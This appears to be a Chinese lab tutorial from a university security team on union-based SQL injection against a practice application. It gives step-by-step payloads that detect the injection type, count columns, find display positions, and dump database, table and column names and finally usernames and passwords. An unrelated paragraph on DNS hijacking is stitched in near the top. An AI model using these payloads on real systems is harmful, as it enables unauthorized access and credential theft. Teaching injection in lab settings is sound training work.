SQL注入-联合查询

  • A+
所属分类:安全文章


SQL注入-联合查询

沙漏安全团队

欢迎真正热爱技术的你!



DNS劫持的原理:

DNS劫持就是通过劫持了DNS服务器,通过某些手段取得某域名的解析记录控制权,进而修改此域名的解析结果,导致对该域名的访问由原IP地址转入到修改后的指定IP,其结果就是对特定的网址不能访问或访问的是假网址,从而实现窃取资料或者破坏原有正常服务的目的。
原理不再赘述,总而言之,言而总之。就是针对某一个用户(IP),使得其访问的网站均为黑客提前设置好的vps上的web页面。


前言
联合查询:
一:按照注入语法分为:联合查询注入Union/报错查询注入error/布尔型注入Boolean/延时注入Time/堆叠查询注入
二:联合查询注入是最简单的一种注入方式,但是要求页面必须有显示位.否则无法注入.
显示位:可以理解为从数据库提取的数据被显示在前端. 如果没有显示位,我们无法查看注入的结果.
三:联合查询一般步骤:
1、判断注入点还是整形或字符型
2、判断查询列数
3、判断显示位
4、获取所有数据库名
5、获取数据库所有表名
6、获取字段名
7、获取字段中的数据

在这里我们通过举例第一关来讲解

开始前我们需要掌握Mysql必会查询的语句:

select database(); #查看当前库名;select table_name from information_schema.tables where table_schema=database() ; #查看当前库下的表名select column_name from information_schema.columns where table_schema=database() and table_name=‘user’; #查询列名select name,password from user; #获取用户名和密码列


一、判断注入点还是整形或字符型

在sql变量后添加以下内容来判断类型:

and 1=1 / and 1=2 回显页面不同(整形判断) 
  • 1

单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断) 
  • 1

  (转义符) 
  • 1

-1/+1 回显下一个或上一个页面(整型判断)
  • 1

注:加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b

先判断是否存在注入,如果存在(正常和异常页面显示不同则存在注入)是字符型还是整型注入。
SQL注入-联合查询
这里是显示正常的,添加and1=1以及and1=2(1=2为假)来判断是否为整形注入


SQL注入-联合查询
SQL注入-联合查询
可以看出页面均显示正常因此不是整形注入

以及--+注释说明来判断是否为字符型

?id=1’and1=1--+
  • 1

SQL注入-联合查询
显示页面异常

?id=1’and1=2--+
  • 1

SQL注入-联合查询
显示页面错误,故可判断为字符注入

二、判断列数

order by (用来查询列数)用来对表里的数据进行排序,order by 1 表示按照第一列进行排序.依次类推.
?id=1' order by 1
从1到3:均显示正常SQL注入-联合查询

order by 4--+
  • 1

SQL注入-联合查询
显示异常,说明没有第4列,只存在前3列

三.找到显示位

UNION的作用是将两个select查询结果合并,为了爆出第一位后面的显示位需要隐藏正常结果,比如将?id=1改为?id=-1,使union前面的语句报错,执行后面的,爆出显示位

?id=-1union select 1,2,3 --+
  • 1

SQL注入-联合查询
SQL注入-联合查询
可以看出只有当id=-1时才可以爆出笑显示位,显示位:2和3,可以插入查询语句

四.获取库名

group_concat()一次性显示:

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
  • 1

显示当前数据库:databas()

?id=-1'union select 1,database(),3 --+
  • 1

SQL注入-联合查询
得到库名:security

五.获取表名

从获取库名的讲解,在这里使用group_concat()函数加一个数据表名table_name,然后指定一个来源得到库中的表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 1

SQL注入-联合查询
得到表名:emails,referers,uagents,users

六.获取列名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
  • 1

从users中获取
SQL注入-联合查询

七.获取字段信息

?id=-1' union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+
  • 1

这里是username,password的信息,3是该表中有三列,from 为从users中获取的
SQL注入-联合查询
SQL注入-联合查询
获取成功了!

总结

union注入是最简单方便的,但是要求页面必须有显示位,没有就没法利用,在学习sql注入的道路上我们才刚刚起步,加油吧少年!

SQL注入-联合查询

SQL注入-联合查询
SQL注入-联合查询

平顶山学院· 沙漏安全团队

✬如果你认同喜欢这篇文章,欢迎点击在看✬
评论功能现已开启,我们接受一切形式的吐槽和赞美☺
SQL注入-联合查询
“阅读原文”我们一起进步

本文始发于微信公众号(网络安全攻防训练营):SQL注入-联合查询

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: